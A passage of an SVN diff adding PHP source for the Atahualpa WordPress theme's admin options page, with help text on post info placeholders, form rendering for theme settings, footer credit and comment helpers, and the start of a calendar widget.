+$background_image_location = array("Remote: http://", "Local: /themes/atahualpa3/images/");
+$font_family = array("Tahoma", "Arial", "Calibri", "Cambria", "Candara", "Comic Sans MS", "Consolas", "Constantia", "Corbel", "Courier New", "Georgia", "Times New Roman", "Trebuchet MS", "Verdana");
+$font_family_backup = array("Tahoma, sans-serif", "Arial, sans-serif", "Calibri, sans-serif", "Cambria, serif", "Candara, sans-serif", "Comic Sans MS, sans-serif", "Consolas, sans-serif", "Constantia, serif", "Corbel, sans-serif", "Courier New, sans-serif", "Georgia, serif", "Times New Roman, serif", "Trebuchet MS, sans-serif", "Verdana, sans-serif");
+$font_size = array("0.5", "0.55", "0.6", "0.65", "0.7", "0.75", "0.8", "0.85", "0.9", "0.95", "1", "1.05", "1.1", "1.15", "1.2", "1.25", "1.3", "1.35", "1.4", "1.45", "1.5", "1.55", "1.6", "1.65", "1.7", "1.75", "1.8", "1.85", "1.9", "1.95", "2", "2.05", "2.1", "2.15", "2.2", "2.25", "2.3", "2.35", "2.4", "2.45", "2.5", "2.55", "2.6", "2.65", "2.7", "2.75", "2.8", "2.85", "2.9", "2.95", "3", "3.05", "3.1", "3.15", "3.2", "3.25", "3.3", "3.35", "3.4", "3.45", "3.5", "3.55", "3.6", "3.65", "3.7", "3.75", "3.8", "3.85", "3.9", "3.95", "4");
+$font_weight = array("normal", "bold");
+$font_style =array("normal", "italic");
+$text_align = array("left", "center", "right", "justify");
+$line_height = array("normal", "0.7", "0.75", "0.8", "0.85", "0.9", "0.95", "1", "1.05", "1.1", "1.15", "1.2", "1.25", "1.3", "1.35", "1.4", "1.45", "1.5", "1.55", "1.6", "1.65", "1.7", "1.75", "1.8", "1.85", "1.9", "1.95", "2");
+$text_transform = array("none", "capitalize", "uppercase", "lowercase");
+$text_decoration = array("none", "underline", "overline", "line-through");
+$url_base = get_bloginfo('template_directory');
+?>
+<table width="100%" cellpadding="2" cellspacing="0"><tr><td valign="middle" width="380"><h2 style="margin:0 30px 0 0; padding: 5px 0 5px 0;"><?php echo $theme_name; ?> Theme Options</h2></td><td valign="middle"><iframe src="http://wordpress.bytesforall.com/update.php?theme=<?php echo $theme_name; ?>&version=<?php echo $theme_version; ?>" width="98%" height="40" scrolling="no" frameborder="0"></iframe></td>
+</tr></table>
+<div class="wrap">
+<ul id="bfaoptiontabs" class="shadetabs">
+<li><a href="#" rel="start-here" class="selected">START</a></li>
+<li><a href="#" rel="seo">SEO</a></li>
+<li><a href="#" rel="body-font-links">Body, Text &amp; Links</a></li>
+<li><a href="#" rel="layout">Layout</a></li>
+<li><a href="#" rel="favicon">Favicon</a></li>
+<li><a href="#" rel="header">Header</a></li>
+<li><a href="#" rel="header-image">Header Image</a></li>
+<li><a href="#" rel="feed-links">RSS Settings</a></li>
+<li><a href="#" rel="page-menu-bar">Page Menu Bar</a></li>
+<li><a href="#" rel="cat-menu-bar">Category Menu Bar</a></li>
+<li><a href="#" rel="center">Center</a></li>
+<li><a href="#" rel="next-prev-nav">Next/Previous Navigation</a></li>
+<li><a href="#" rel="sidebars">Sidebars</a></li>
+<li><a href="#" rel="widgets">Widgets</a></li>
+<li><a href="#" rel="postinfos">Post/Page Info Items</a></li>
+<li><a href="#" rel="posts">Post/Page Styling</a></li>
+<li><a href="#" rel="posts-or-excerpts">Posts or Excerpts</a></li>
+<li><a href="#" rel="more-tag">"Read More" tag</a></li>
+<li><a href="#" rel="comments">Comments</a></li>
+<li><a href="#" rel="footer-style">Footer</a></li>
+<li><a href="#" rel="tables">Tables</a></li>
+<li><a href="#" rel="forms">Forms</a></li>
+<li><a href="#" rel="blockquotes">Blockquotes</a></li>
+<li><a href="#" rel="images">Images</a></li>
+<li><a href="#" rel="html-inserts">HTML/CSS Inserts</a></li>
+<li><a href="#" rel="archives-page">Archives Page</a></li>
+</ul>
+
+<div id="start-here" class="tabcontent">   <!-- opening the first tab content div, first option should be start-here, in the options array above //-->
+<?php foreach ($options as $value) {     # start the options loop, check first, if we need to switch to another tab = option category
+
+# open/close category tab divs 
+if ( $value['switch'] == "yes") {     
+		
+	echo "</div>\n<div id=\"" . $value['category'] . "\" class=\"tabcontent\">\n";
+	
+	// all categories except first category "start-here" get an opening form tag. "start-here" has no value "switch" so no IF required here
+	echo '<form method="post">'; 
+	
+}
+
+# extra info for some categories
+
+if($value['category'] == "postinfos" AND $value['switch'] == "yes") { ?>
+<div class="bfa-container">
+    <div class="bfa-container-full"><img src="<?php echo get_bloginfo('template_directory'); ?>/options/images/post-structure.gif" style="float: right; margin: 40px 0 15px 15px;">
+	<label for="Post Info Items">Post Info Items</label><br /><br />
+	Configure a <strong>Kicker</strong>, a <strong>Byline</strong> and a <strong>Footer</strong> for posts and pages by arranging these <strong>Post Info Items</strong>. 
+	<br /><br />Some of these post info items have one or several <strong>parameters</strong>: 
+<ul>
+	<li>You can leave parameters empty but do not remove their single quotes, even if the parameter is empty.</li>
+	<li>Replace the parameter <code>delimiter</code> with what you want to put between the list items of the tag or category list, i.e. a comma.</li>
+	<li>Replace the parameters <code>before</code> and <code>after</code> with what you want to display before or after that info item. If an item has these "before/after" parameters, use them instead of 
+	hard coding text before and after that item: Example: Use <br /><code>%tags-linked('<i>Tags: </i>', '<i>, </i>', '<i> - </i>')%</code><br />instead of<br /><code>Tags: %tags-linked('', '<i>, </i>', '')% - </code></li>
+	<li>Replace the parameter <code>linktext</code> with the link text for that item.</li>
+</ul>
+HTML and <strong>icons</strong> can be used, inside of parameters, too, just not inside the date item:
+<ul>
+<li><code>&lt;image(someimage.gif)&gt;</code> to include an image. <em>Note: The image item doesn't have quotes</em></li>
+<li>To use your own images, upload them to /[theme-folder]/images/icons/</li>
+</ul>
+	<h3>Icons</h3>
+<strong>Currently available images (Once you uploaded yours they will be listed here):</strong><br /><br />
+<?php
+if ($handle = opendir( TEMPLATEPATH . '/images/icons/')) {
+    while (false !== ($file = readdir($handle))) {
+		if ($file != "." && $file != "..") {
+		$files[] = $file;
+		}
+	}
+    closedir($handle);
+}
+sort($files);
+foreach ($files as $key => $file) {
+        echo '<span style="float:left; width: 280px; margin-right: 10px; height: 22px;"><img src="' . get_bloginfo('template_directory') . '/images/icons/' . "$file" . '" /> &nbsp;<code>&lt;image(' . "$file" . ')&gt;</code></span>';
+}
+?>
+<div style="clear:left">&nbsp;</div>
+<h3>Examples</h3>
+Examples for <strong>Post Bylines</strong>:
+<ul>
+	<li><code>By %author%, on %date('<i>F jS, Y</i>')%</code></li>
+	<li><code>&lt;strong&gt;%author-linked%&lt;/strong&gt; posted this in &lt;strong&gt;%categories-linked('<i>, </i>')%&lt;/strong&gt; on &lt;em&gt;%date('<i>F jS, Y</i>')%&lt;/em&gt;</code></li>
+	<li><code>&lt;image(user.gif)&gt; %author-linked% &lt;image(date.gif)&gt; %date('<i>l, jS #of F Y #a#t h:i:s A</i>')%</code></li>
+	</ul>
+Examples for <strong>Post Footers</strong>:
+	<ul>
+	<li><code>%tags-linked('<i>&lt;strong&gt;Tags:&lt;/strong&gt; </i>', '<i>, </i>', '<i> &amp;mdash; </i>')% &lt;strong&gt;Categories:&lt;/strong&gt; %categories-linked('<i>, </i>')% &amp;mdash; %comments('<i>Nobody has commented yet, kick it off...</i>', '<i>One comment so far</i>', '<i>% people had their say - be the next!</i>', '<i>Sorry, but comments are closed</i>')% &amp;mdash;  
+	%wp-print% &amp;mdash; %wp-email% &amp;mdash; %sociable% &amp;mdash; %wp-postviews%</code></li>
+	</ul>
+	
+	<h3>Post Info Items</h3>
+	List of available post info items:
+<br /><h4>%author%</h4>
+Prints the name of the author of the post.
+<br /><h4>%author-linked%</h4>
+Prints the name of the author of the post, and links it to a page listing all posts by that author.
+<br /><h4>%date('F jS, Y')%</h4>
+Prints the date and/or time the post was published at. Many configuration options at <a href='http://www.php.net/date'>PHP Date</a>. 
+Because most letters of the alphabet represent a certain date/time output function, you will have to <strong>escape</strong> each letter that you want to display LITERALLY, for instance, to 
+include words like <strong>at</strong>, <strong>on</strong>, or <strong>the</strong> somewhere <strong>inside</strong> the date output. To <strong>escape</strong> a letter put a hash sign 
+<strong>#</strong> right before that letter. (Please note that this is different from the original "PHP way" of escaping with backslashes <code>\</code>. The theme needs the hash sign <code>#</code>).
+That will tell the theme that you mean the actual letter and not the corresponding PHP date function.<br /><br />
+<strong>How to escape literal strings</strong>
+<ul><li>on -> <code>#o#n</code></li>
+<li>of -> <code>#of</code> &nbsp;&nbsp;(Note how the the lowercase <strong>f</strong> didn't get a <code>#</code>. That's because <strong>f</strong> is one of the letters of the alphabet that does not represent a PHP date function)</li>
+<li>at -> <code>#a#t</code></li>
+<li>the -> <code>#t#h#e</code></li>
+<li>The arrows just illustrate how to change a word to display it literally inside a date function, don't use them</li>
+</ul>
+<strong>Examples:</strong>
+	<ul>
+	<li><code>%date('<i>F j, Y, #a#t g:i a</i>')%</code> displays: December 10, 2008, at 5:16 pm <br />
+	Note how the letters <strong>a</strong> and <strong>t</strong> of the word <strong>at</strong> are <strong>escaped</strong> with <code>#</code> 
+	to display them literally instead of interpreting them as PHP date functions.
+	</li>
+	<li><code>%date('<i>F j, Y, g:i a</i>')%</code> displays: December 10, 2008, 5:16 pm
+	</li>
+	<li><code>%date('<i>m.d.y</i>')%</code> displays: 10.12.08
+	</li>
+	</ul>
+<br /><h4>%category%</h4>
+Prints the name of the <strong>first</strong> category the post is filed under.
+<br /><h4>%category-linked%</h4>
+Prints the name of the <strong>first</strong> category the post is filed under and links the name to that category page.
+<br /><h4>%categories('delimiter')%</h4>
+Prints the names of <strong>all</strong> categories the post is filed under, separated by delimiter.
+<br /><strong>Example:</strong> <code>%categories('<i>, </i>')%</code>
+<br /><h4>%categories-linked('delimiter')%</h4>
+Prints the names of <strong>all</strong> categories the post is filed under, separated by delimiter, and links each name to the respective category page.
+<br /><strong>Example:</strong> <code>%categories-linked('<i> | </i>')%</code>
+<br /><h4>%tags('before', 'delimiter', 'after')%</h4>
+Prints the names of all tags attached to the post, separated by delimiter.
+<br /><strong>Example:</strong> <code>%tags('<i>Tags: </i>', '<i>, </i>', '')%</code>
+<br /><h4>%tags-linked('before', 'delimiter', 'after')%</h4>
+Prints the names of all tags attached to the post, separated by delimiter, and links each name to the respective tag page.
+<br /><strong>Example:</strong> <code>%tags-linked('<i>Tagged with: </i>', '<i> - </i>', '<i>. </i>')%</code>
+<br /><h4>%comments('No comments', '1 comment', '% comments', 'Comments closed')%</h4>
+Prints a link to the comment section of the post. The link text depends on the comment count & status (open/closed). 
+<br /><br /><strong>When using this item, provide 4 text strings for the 4 possible comment states:</strong> <ul>
+<li>Replace <code>'No Comments'</code> with your link text for posts that have no comments yet</li>
+<li>Replace <code>'1 comment'</code> with your text for posts with 1 comment</li>
+<li>Replace <code>'% comments'</code> with your text for posts with 2 or more comments. The <code>%</code> (percent) character 
+will be replaced with the comment count. Use that character in your own text, too, unless you do not want to display the comment count.</li>
+<li>Replace <code>'Comments closed'</code> with your text for posts where comments are closed.</li>
+</ul>
+<br /><strong>Example:</strong> <code>%comments('<i>Leave your comment</i>', '<i>One comment so far</i>', '<i>% people had their say - chime in!</i>', '<i>Sorry, but comments are closed</i>')%</code>
+<br /><h4>%comments-rss('linktext')%</h4>
+Prints a link to the RSS feed of the post's comments, with <em>linktext</em> as the link text.
+<br /><strong>Example:</strong> <code>%comments-rss('<i>Subscribe to the comments of this post</i>')%</code>
+<br /><h4>%trackback%</h4>
+Prints the trackback URL of the post, without linking it.
+<br /><h4>%trackback-linked('linktext')%</h4>
+Prints a link to the trackback URL of the post, with <em>linktext</em> as the link text.
+<br /><strong>Example:</strong> <code>%trackback-linked('<i>Trackback this Post</i>')%</code>
+<br /><h4>%print('linktext')%</h4>
+Prints a link with <em>linktext</em> as the link text, which, when clicked, will start printing the content of the center column of the current page, without header, sidebars and footer.
+<br /><strong>Example:</strong> <code>%print('<i>Print this Page</i>')%</code>
+<br /><h4>%edit('before', 'linktext', 'after')%</h4>
+Prints a direct edit link for the post, IF the current viewer is permitted to edit posts, with <em>linktext</em> as the link text.
+<br /><strong>Example:</strong> <code>%edit('<i> - </i>', '<i>Edit This Post</i>', '')%</code>
+<br /><h4>%wp-print%</h4>
+Prints a link to a print preview page of the post. A configurable alternative to the theme's own basic print function (which prints right away, without preview page).<br />
+<?php echo ( function_exists('wp_print') ? 
+'Customize the output at the <a title="If this link doesn\'t work, go to \'Settings\' (top right) -> \'Print\'" 
+href="options-general.php?page=wp-print/print-options.php">WP-Print Options Page</a>.' : 
+'To use this item, you must first install (= upload) and activate the plugin "<a href="http://wordpress.org/extend/plugins/wp-print/">WP-Print</a>"' ); ?>
+<br /><h4>%wp-email%</h4>
+Prints a link to a form where visitors can e-mail the post to others.<br />
+<?php echo ( function_exists('wp_email') ? 
+'Customize the output at the <a title="If this link doesn\'t work, click on \'E-Mail\' at the top of the current page, then \'E-Mail Options\'" 
+href="admin.php?page=wp-email/email-options.php">WP-Email Options Page</a>.<br />
+<strong>Settings:</strong> <ul><li>Change settings in the section "E-Mail Styles" to customize the output of this item</li>
+<li>Make other changes as you see fit</li>
+<li>Click "Save Changes"</li></ul>' : 
+'To use this item, you must first install (= upload) and activate the plugin "<a href="http://wordpress.org/extend/plugins/wp-email/">WP-Email</a>"' ); ?>
+<br /><h4>%wp-postviews%</h4>
+Prints how many times the post was viewed.<br />
+<?php echo ( function_exists('the_views') ? 
+'Customize the output at the <a title="If this link doesn\'t work, go to \'Settings\' (top right) -> \'Post Views\'" 
+href="options-general.php?page=wp-postviews/postviews-options.php">WP-PostViews Options Page</a>.<br />
+<strong>Settings:</strong> <ul><li>Change "Views Template" to customize the output of this item</li>
+<li>Make other changes as you see fit</li>
+<li>Click "Save Changes"</li></ul>' : 
+'To use this item, you must first install (= upload) and activate the plugin "<a href="http://wordpress.org/extend/plugins/wp-postviews/">WP-PostViews</a>"' ); ?>
+<br /><h4>%wp-postratings%</h4>
+Prints stars or other graphics showing the vote/rating of a post, and lets visitors rate the post.<br />
+<?php echo ( function_exists('the_ratings') ? 
+'Customize the output at the <a title="If this link doesn\'t work, click on \'Ratings\' at the top of the current page" 
+href="admin.php?page=wp-postratings/postratings-templates.php">WP-PostRatings Options Page</a>.<br />
+<strong>Settings:</strong> <ul><li>Delete <code>%RATINGS_TEXT%</code> from the bottom of the textarea named "Ratings Vote Text:"</li>
+<li>Delete <code>%RATINGS_TEXT%</code> from the bottom of the textarea named "Ratings None:"</li>
+<li>Make other changes as you see fit</li>
+<li>Click "Save Changes"</li></ul>' : 
+'To use this item, you must first install (= upload) and activate the plugin "<a href="http://wordpress.org/extend/plugins/wp-postratings/">WP-PostRatings</a>"' ); ?>
+<br /><h4>%sociable%</h4>
+Prints little icons, linking the post to social bookmark sites.<br />
+<?php echo ( function_exists('sociable_html') ? 
+'Customize the output at the <a title="If this link doesn\'t work, go to \'Settings\' (top right) -> \'Sociable\'" 
+href="options-general.php?page=Sociable">Sociable Options Page</a>.<br />
+<strong>Settings:</strong> <ul><li>"Tagline:" - Will be ignored</li><li>"Position:" - Uncheck all boxes</li><li>"Use CSS:" - Uncheck this</li>
+<li>"Open in new window:" - Check or uncheck, will be used</li><li>Click "Save Changes"</li></ul>' : 
+'To use this item, you must first install (= upload) and activate the plugin "<a href="http://wordpress.org/extend/plugins/sociable/">Sociable</a>"' ); ?>
+    </div>
+</div>
+<?php } 
+#####################################################################
+#     TEXT                                                                                                     
+#####################################################################
+if ($value['type'] == "text") { ?>
+<div class="bfa-container">
+    <div class="bfa-container-left"><label for="<?php echo $value['name']; ?>"><?php echo $value['name']; ?></label><br />
+        <input <?php if ($value['size'] != "") { echo "size=" . $value['size'] . ($value['size'] > 20 ? " style=\"width: 95%;\"" : " "); } ?><?php 
+		if (eregi("color", $value['id'])) { ?>class="color" <?php } ?>name="<?php echo $value['id']; ?>" id="<?php 
+		echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php 
+		if ( get_option( $value['id'] ) !== FALSE) { 
+			echo ( $value['editable'] == "yes" ? stripslashes(format_to_edit(get_option( $value['id'] ))) : get_option( $value['id'] ) ); 
+		} else { 
+			echo ( $value['editable'] == "yes" ? stripslashes(format_to_edit($value['std'])) : $value['std'] ); 
+		}
+		?>" />
+        <br />Default: <strong>
+		<?php if ($value['std'] == "") { 
+			echo "blank"; 
+		} else { 
+			echo ( $value['editable'] == "yes" ? stripslashes(format_to_edit($value['std'])) : $value['std'] ); } ?></strong>
+    </div>
+    <div class="bfa-container-right">
+    <?php echo $value['info']; ?>
+    </div>
+  	<div style="clear:both"></div>  
+</div>
+<?php } 
+#####################################################################
+#     WIDGET LIST ITEMS                                                                                                     
+#####################################################################
+elseif ($value['type'] == "widget-list-items") { 
+# needed for multi array options
+$current_options = get_option( $value['id']);	
+?>
+<div class="bfa-container">
+<div class="bfa-container-full">
+<label for="<?php echo $value['name']; ?>"><?php echo $value['name']; ?></label>
+<br />
+<br />
+<?php echo $value['info']; ?>
+<br />
+<br />
+<table class="bfa-optiontable" border="0" cellspacing="0">
+	<thead>
+		<tr><td colspan="8">List items and links inside</td></tr>
+		</thead>
+<tbody>
+	<tr><td>Left Margin for whole Item</td><td>Left Border Width for Links</td><td>Left Border Color for Links</td><td>Left Border Hover Color for Links</td><td>Left Padding for Links</td><td>Link Text Weight</td><td>Link Text Color</td><td>Link Text Hover Color</td></tr>
+  <tr>
+  	<td>
+  			<select name="<?php echo $value['id'] . '[li-margin-left]'; ?>" id="<?php echo $value['id'] . '[li-margin-left]'; ?>">
+                <?php for ($i = 0; $i <= 20; $i++) { ?>
+                <option<?php if ( $current_options['li-margin-left'] == $i) { echo ' selected="selected"'; } elseif ( !isset($current_options['li-margin-left']) AND $i == $value['std']['li-margin-left']) { echo ' selected="selected"'; } ?>><?php echo $i; ?></option>
+                <?php } ?>
+        </select>
+  	</td>
+  	<td>
+  			<select name="<?php echo $value['id'] . '[link-border-left-width]'; ?>" id="<?php echo $value['id'] . '[link-border-left-width]'; ?>">
+                <?php for ($i = 0; $i <= 20; $i++) { ?>
+                <option<?php if ( $current_options['link-border-left-width'] == $i) { echo ' selected="selected"'; } elseif ( !isset($current_options['link-border-left-width']) AND $i == $value['std']['link-border-left-width']) { echo ' selected="selected"'; } ?>><?php echo $i; ?></option>
+                <?php } ?>
+        </select>
+  	</td>
+   	<td>
+        <input size="8" class="color" name="<?php echo $value['id'] . '[link-border-left-color]'; ?>" id="<?php echo $value['id'] . '[link-border-left-color]'; ?>" type="text" value="<?php if ( $current_options['link-border-left-color'] != "") { echo $current_options['link-border-left-color'] ; } else { echo $value['std']['link-border-left-color']; } ?>" />
+  	</td>
+   	<td>
+        <input size="8" class="color" name="<?php echo $value['id'] . '[link-border-left-hover-color]'; ?>" id="<?php echo $value['id'] . '[link-border-left-hover-color]'; ?>" type="text" value="<?php if ( $current_options['link-border-left-hover-color'] != "") { echo $current_options['link-border-left-hover-color'] ; } else { echo $value['std']['link-border-left-hover-color']; } ?>" />
+  	</td>
+  	<td>
+  			<select name="<?php echo $value['id'] . '[link-padding-left]'; ?>" id="<?php echo $value['id'] . '[link-padding-left]'; ?>">
+                <?php for ($i = 0; $i <= 20; $i++) { ?>
+                <option<?php if ( $current_options['link-padding-left'] == $i) { echo ' selected="selected"'; } elseif ( !isset($current_options['link-padding-left']) AND $i == $value['std']['link-padding-left']) { echo ' selected="selected"'; } ?>><?php echo $i; ?></option>
+                <?php } ?>
+        </select>
+  	</td>
+  	<td>
+  			<select name="<?php echo $value['id'] . '[link-weight]'; ?>" id="<?php echo $value['id'] . '[link-weight]'; ?>">
+                <?php foreach ($font_weight as $option) { ?>
+                <option<?php if ( $current_options['link-weight'] == $option) { echo ' selected="selected"'; } elseif ( !isset($current_options['link-weight']) AND $option == $value['std']['link-weight']) { echo ' selected="selected"'; } ?>><?php echo $option; ?></option>
+                <?php } ?>
+        </select>
+  	</td>
+   	<td>
+        <input size="8" class="color" name="<?php echo $value['id'] . '[link-color]'; ?>" id="<?php echo $value['id'] . '[link-color]'; ?>" type="text" value="<?php if ( $current_options['link-color'] != "") { echo $current_options['link-color'] ; } else { echo $value['std']['link-color']; } ?>" />
+  	</td>
+   	<td>
+        <input size="8" class="color" name="<?php echo $value['id'] . '[link-hover-color]'; ?>" id="<?php echo $value['id'] . '[link-hover-color]'; ?>" type="text" value="<?php if ( $current_options['link-hover-color'] != "") { echo $current_options['link-hover-color'] ; } else { echo $value['std']['link-hover-color']; } ?>" />
+  	</td>
+  </tr>
+</tbody>
+</table>	
+<div style="clear:both"></div>
+</div>
+</div>
+<?php } 
+#####################################################################
+#     DISPLAY ON                                                                                                     
+#####################################################################
+elseif ($value['type'] == "displayon") { 
+# special for checkboxes, if  checkbox is unchecked then there won't be any key/value  pair for that checkbox in the options table.
+if (get_option( $value['id'] ) === FALSE) { $current_options = $value['std']; } else { $current_options = get_option( $value['id'] ); }
+
+echo '<div class="bfa-container">
+<div class="bfa-container-left"><label for="' . $value['name'] . '">' . $value['name'] . '</label><br /><br />
+<table align="right" class="bfa-optiontable" border="0" cellspacing="0" cellpadding="2">
+<tbody><tr><td>
+<input type="checkbox" name="' . $value['id'] . '[homepage]" ' . ($current_options['homepage'] ? 'checked="checked"' : '' ) . ' /> Homepage<br /> 
+<input type="checkbox" name="' . $value['id'] . '[frontpage]" ' . ($current_options['frontpage'] ? 'checked="checked"' : '' ) . ' /> Front Page (*)<br /> 
+<input type="checkbox" name="' . $value['id'] . '[single]" ' . ($current_options['single'] ? 'checked="checked"' : '' ) . ' /> Single Posts<br /> 
+<input type="checkbox" name="' . $value['id'] . '[page]" ' . ($current_options['page'] ? 'checked="checked"' : '' ) . ' /> "Page" pages<br /> 
+</td><td>
+<input type="checkbox" name="' . $value['id'] . '[category]" ' . ($current_options['category'] ? 'checked="checked"' : '' ) . ' /> Category Pages<br /> 
+<input type="checkbox" name="' . $value['id'] . '[date]" ' . ($current_options['date'] ? 'checked="checked"' : '' ) . ' /> Archive Pages<br /> 
+<input type="checkbox" name="' . $value['id'] . '[tag]" ' . ($current_options['tag'] ? 'checked="checked"' : '' ) . ' /> Tag Pages<br /> 
+<input type="checkbox" name="' . $value['id'] . '[search]" ' . ($current_options['search'] ? 'checked="checked"' : '' ) . ' /> Search Results<br /> 
+</td><td valign="top">
+<input type="checkbox" name="' . $value['id'] . '[author]" ' . ($current_options['author'] ? 'checked="checked"' : '' ) . ' /> Author Pages<br /> 
+<input type="checkbox" name="' . $value['id'] . '[404]" ' . ($current_options['404'] ? 'checked="checked"' : '' ) . ' /> "Not Found"<br /> 
+<input type="checkbox" name="' . $value['id'] . '[attachment]" ' . ($current_options['attachment'] ? 'checked="checked"' : '' ) . ' /> Attachments<br /> 
+<input type="hidden" name="' . $value['id'] . '[check-if-saved-once]" value="saved">
+</td></tr></tbody>
+</table>
+</div><div class="bfa-container-right">' . $value['info'] . '
+</div><div style="clear:both"></div></div>';
+} 
+#####################################################################
+#     TEXTAREA                                                                                                    
+#####################################################################
+elseif ($value['type'] == "textarea") { ?>
+<div class="bfa-container">
+    <div class="bfa-container-left"><label for="<?php echo $value['name']; ?>"><?php echo $value['name']; ?></label><br />
+        <textarea name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" cols="35" style="width: 95%" rows="6"><?php if ( get_option( $value['id'] ) !== FALSE) { echo ( $value['editable'] == "yes" ? stripslashes(format_to_edit(get_option( $value['id'] ))) : get_option( $value['id'] ) ) ; } else { echo ( $value['editable'] == "yes" ? stripslashes(format_to_edit($value['std'])) : $value['std'] ); } ?></textarea>
+        <br />Default: <strong><?php if ($value['std'] == "") { echo "blank"; } else { echo "<br /><code>" . ( $value['editable'] == "yes" ? str_replace("\n", "<br />", htmlentities($value['std'], ENT_QUOTES)) : str_replace("\n", "<br />", $value['std']) ) . "</code>"; } ?></strong>
+    </div>
+    <div class="bfa-container-right">
+    <?php echo $value['info']; ?>
+    </div>
+   	<div style="clear:both"></div> 
+</div>
+<?php } 
+#####################################################################
+#     POSTINFOS                                                                                                     
+#####################################################################
+elseif ($value['type'] == "postinfos") { ?>
+<div class="bfa-container">
+    <div class="bfa-container-full"><label for="<?php echo $value['name']; ?>"><?php echo $value['name']; ?></label><br />
+	    <?php echo $value['info']; ?><br />
+        <textarea name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" cols="110" rows="3"><?php if ( get_option( $value['id'] ) !== FALSE) { echo format_to_edit(get_option( $value['id'] )); } else { echo format_to_edit($value['std']); } ?></textarea>
+        <br />Default: <strong><?php if ($value['std'] == "") { echo "blank"; } else { echo format_to_edit($value['std']); } ?></strong>
+    </div>
+</div>
+<?php } 
+#####################################################################
+#     INFO                                                                                                     
+#####################################################################
+elseif ($value['type'] == "info") { ?>
+<div class="bfa-container">
+    <div class="bfa-container-full"><label for="<?php echo $value['name']; ?>"><?php echo $value['name']; ?></label><br />
+	    <?php echo $value['info']; ?>
+	</div>
+</div>
+<?php } 
+#####################################################################
+#     SELECT                                                                                                     
+#####################################################################
+elseif ($value['type'] == "select") { ?>
+<div class="bfa-container">
+		<div class="bfa-container-left"><label for="<?php echo $value['name']; ?>"><?php echo $value['name']; ?></label><br />
+				<select name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
+                <?php foreach ($value['options'] as $option) { ?>
+                <option<?php if ( get_option( $value['id'] ) == $option) { echo ' selected="selected"'; } elseif ( get_option( $value['id']) === FALSE AND $option == $value['std']) { echo ' selected="selected"'; } ?>><?php echo $option; ?></option>
+                <?php } ?>
+        </select>
+        <br />Default: <strong><?php if ($value['std'] == "") { echo "blank"; } else { echo $value['std']; } ?></strong>
+     </div>
+     <div class="bfa-container-right">
+        <?php echo $value['info']; ?>
+     </div>
+     	<div style="clear:both"></div>
+</div>
+<?php
+}
+
+	// all categories except first category "start-here" get closing form tags and buttons
+	if ( $value['category'] != "start-here" AND $value['lastoption'] == "yes" ) {   ?>
+		<div class="bfa-container">	
+		<p class="submit">
+		<input class="save-tab" name="save" type="submit" value="Save changes" />    
+		<input type="hidden" name="action" value="save" />
+		<input type="hidden" name="category" value="<?php echo $value['category']; ?>" />
+		<br /><strong>Save settings of current page</strong>
+		</p><br />
+		</form>
+		<form method="post">
+		<p class="submit">
+		<input class="reset-tab" name="reset" type="submit" value="Reset settings" />
+		<input type="hidden" name="action" value="reset" />
+		<input type="hidden" name="category" value="<?php echo $value['category']; ?>" />
+		<br /><strong>Reset settings of current page</strong>
+		</p>
+		</form>
+		</div>
+	<?php }
+
+} // options loop END
+?>
+</div> <!-- closing the last tab content div //-->
+<script type="text/javascript">
+var myflowers=new ddtabcontent("bfaoptiontabs") //enter ID of Tab Container
+myflowers.setpersist(true) //toogle persistence of the tabs' state
+myflowers.setselectedClassTarget("link") //"link" or "linkparent"
+myflowers.init()
+</script>
+<!-- "reset all" button -->
+<br /><br />
+			<form method="post">
+			<p class="submit">
+			<input class="reset-all" name="reset" type="submit" value="Reset ALL theme options" onClick="return confirmSubmit()"/>
+			<input type="hidden" name="action" value="reset" />
+			<input type="hidden" name="category" value="reset-all" /><br />
+			<span style="color: #c00;"><strong>WARNING</strong> - this will reset ALL 200+ theme options!</span><br />Clicking this button will...<br />
+			(1) remove all Atahualpa options from the WordPress options table<br />
+			(2) reset all Atahualpa options to the default values<br />
+			
+			</p>
+
+			</form>
+</div><!-- / class=wrap -->
+<?php
+}
+add_action('admin_menu', 'mytheme_add_admin'); 
+?>
+<?php
+function footer_output($footer_content) {
+$footer_content .= '<br />Powered by <a href="http://www.wordpress.org/">WordPress</a> &middot; <a href="http://wordpress.bytesforall.com/" title="WP Themes">Atahualpa Theme</a> by <a href="http://www.bytesforall.com/" title="Custom WordPress Themes &amp; Web Design">BytesForAll</a>';
+return $footer_content;
+}
+?>
+<?php 
+function special_char_import($string) {
+$special_placeholders = array("<b>", "</b>", "<i>", "</i>", "<br>", "<raquo>", "<laquo>", "<rsaquo>", "<lsaquo>", "<rarr>", "<larr>", "<s>");
+$html_replacement = array("<strong>", "</strong>", "<em>", "</em>", "<br />", "&raquo;", "&laquo;", "&rsaquo;", "&lsaquo;", "&rarr;", "&larr;", "&nbsp;"); 
+$string = str_replace($special_placeholders, $html_replacement, $string);
+return $string;
+}
+?>
+<?php
+// new comment template for WP 2.7+, legacy template for old WP 2.6 and older
+if (!function_exists('paged_comments')) {
+add_filter('comments_template', 'legacy_comments');
+function legacy_comments($file) {
+	if(!function_exists('wp_list_comments')) 	$file = TEMPLATEPATH . '/legacy.comments.php';
+	return $file;
+}
+}
+?>
+<?php
+// see if several pages exist to avoid empty next/prev navigation on multi post pages
+function show_posts_nav() {
+	global $wp_query;
+	return ($wp_query->max_num_pages > 1) ? TRUE : FALSE;
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_calendar_widget.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_calendar_widget.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_calendar_widget.php	(revision 44)
@@ -0,0 +1,16 @@
+<?php
+function widget_calendar($args) {
+	extract($args);
+	$options = get_option('widget_calendar');
+	$title = apply_filters('widget_title', $options['title']);
+	echo $before_widget;
+	if ( !empty($title) ) { echo $before_title . $title . $after_title; }
+	echo '<div id="calendar_wrap">'; get_calendar(); echo '</div>'; 
+	if ( !empty( $title ) ) { echo $after_widget; } else { echo "</div>"; }
+}
+?>
+<?php // unregister old / register new calendar widget
+	$widget_ops = array('classname' => 'widget_calendar', 'description' => __("A calendar of your blog's posts","atahualpa") );
+	unregister_sidebar_widget('calendar', __('Calendar','atahualpa'), 'wp_widget_calendar', $widget_ops);
